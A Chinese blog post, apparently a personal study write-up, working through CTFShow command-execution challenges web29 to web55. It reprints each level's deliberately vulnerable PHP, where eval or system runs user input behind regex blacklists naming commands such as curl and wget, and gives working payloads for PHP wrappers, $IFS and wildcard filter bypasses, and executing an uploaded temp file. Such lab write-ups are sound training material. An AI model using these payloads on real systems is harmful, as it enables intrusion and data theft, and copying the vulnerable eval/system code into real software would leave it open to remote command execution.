快去自定义签名吧~|
2022-10-06 20:05阅读: 68评论: 0推荐: 0

CTFShow 命令执行

参考文章:
https://blog.csdn.net/solitudi/article/details/109837640
空格过滤绕过:
https://blog.csdn.net/qq_54727981/article/details/125936528

web29

c=system('cat f*');

web30

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

参数逃逸

c=eval($_GET[1]);&1=system('tac flag.php');

cp命令

c=`cp fl* 2.txt`

官方题解:

echo `nl fl''ag.p''hp`;

根据官方题解延申:

echo `tac f*`;

不知道的知识:``没得回显,system有回显

web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

参数逃逸

c=eval($_GET[1]);&1=system('tac f*');

web32-36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

文件包含,伪协议

命令执行可以用include传参绕过的方式

?c=include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

这里其实是文件包含,利用伪协议
payload1:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

payload2:

php://input

post提交:<?php system('cat flag.php');?>

web38

使用伪协议data
payload

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

data://text/plain,<?php system('tac f*');?>

这次就不可以和上面一样使用base64加密了,推测原因是和后面的.php拼接导致解码失败

web40

1.php无参数RCE
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#前言
2.ctfshow web40命令执行
https://blog.csdn.net/weixin_46250265/article/details/114266578

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤的括号是中文括号,而不是英文括号。
下划线,字母,英文括号没有被过滤。
payload(https://blog.csdn.net/miuzzx/article/details/108415301)

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

相关函数的学习和使用

1.php localeconv() 查找美国本地的数字化格式信息
image

var_dump(localeconv());

得到结果如下,其中第一个结果是.
image
2.php pos()函数返回数组中当前元素的值,current函数的别名
相关的方法
image

var_dump(pos(localeconv()));

结果如下:
image
3.php scandir()函数返回指定目录中的文件和目录的数组。

c=var_dump(scandir(pos(localeconv())));
//c=var_dump(scandir(getcwd()));

结果如下:
image
4.getcwd()函数获取当前工作目录

c=var_dump(getcwd());

image
5.php array_reverse() 函数以相反的元素顺序返回数组。

c=var_dump(array_reverse(scandir(getcwd())));

image
6.php highlight_file() 函数对文件进行语法高亮显示。

web41

参考文章:https://blog.csdn.net/miuzzx/article/details/108569080

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

字母数字全部被过滤完了,专门留了个或运算符。可以通过ascii码或运算生成指定字母。
抄袭大佬的脚本,跑就可以了
为什么rce_or.php脚本对于小于16的数字要在16进制前加0?

web 42

https://blog.csdn.net/qq_45427131/article/details/116998570

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

把标准输出重定向输出到黑洞,把错误输出绑定到标准输出。

1:标准输出 2:错误输出
payload

tac f*;ls

web43/ web44

过滤了;
但是可以使用&&,记得要用url编码一下
payload

tac f*%26%26ls

web45

额外再过滤了空格
payload

tac%09f*%26%26ls

web46/47/48/49

linux通配符讲解:https://zhuanlan.zhihu.com/p/96272363

过滤了*,不可以f*了,但是可以fla?.php
payload

tac%09fla?.php%26%26ls
cp%09fla?.php%09a.txt%26%26ls

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤%,0x09,0x26,不可以使用&&来连接两个命令了,也不可以使用%09来绕过空格了。

什么是nl命令
https://developer.aliyun.com/article/243764

官方题解:

nl<fla''g.php||
tac<fla''g.php||
tac<fla\g.php||

web51

过滤了tac

nl<fla''g.php||
ta\c<fla\g.php||

为什么这里不可以使用通配符?

web52

这次的flag不在当前目录(var/www/html)下的flag.txt。flag在根目录下面(/flag)。
过滤了<>,没有过滤$

nl$IFS/fla''g||
ls$IFS/||
cp$IFS/fla''g$IFS./a.txt||

web53

system()的返回值是返回结果的最后一行

nl${$IFS}fla''g.php
ca\t${IFS}fla\g.php
cp${IFS}fla\g.php${IFS}a.txt

就很不能理解,为什么之前直接使用$IFS就可以了,偏偏这里就要${IFS}了,气抖冷

web54

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

mv重命名

mv${IFS}fla?.php${IFS}a.txt
cp${IFS}fla?.php${IFS}a

cp${IFS}fla?.php${IFS}a不知道为什么不可改成cp${IFS}fla?.php${IFS}a.txt,发现cpa.t也不可以
看了大佬的博客,发现可以这样

c=/bin/c??$IFS????????
c=/bin/c??${IFS}????????

试图理解:/bin/c??的目的是通过通配符匹配到/bin/cat,????????对应的是flag.php

web55

参考:
https://blog.csdn.net/qq_46091464/article/details/108513145

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

太难了,我不能理解。直接抄。

linux .的作用,相当于source命令。

php对与上传的文件,由于不知道这个文件究竟是否会被使用,所以它会将其临时存在一个文件目录下,这个临时文件的存活期是这个程序运行期间(如果你不专门将其保存的话)。
这个临时文件的命名规则是:由php加6位字母组成,且最后一位是大写,所以我们可以这样匹配 /tmp/????????[@-[],由于这题过滤了全部字母,所以tmp也要换成???。大写字母在ascii码表的顺序是@AB...Z[,所以我们可以用[@-[]匹配大写字母。

到此为止,我们思路就可以确定了,先去上传写有命令的文件(post提交),接着在system($c)那里利用.的特性执行上传的临时文件里的命令。

.20%???/?????[@-[]
image
image
发现上传文件内容还必须加上脚本头!#sh,不加执行不了,但是在kail虚拟机模拟.的用法的时候就没这个幺蛾子。

本文作者:请去看诡秘之主

本文链接:https://www.cnblogs.com/xjy881/p/16756511.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   请去看诡秘之主  阅读(68)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起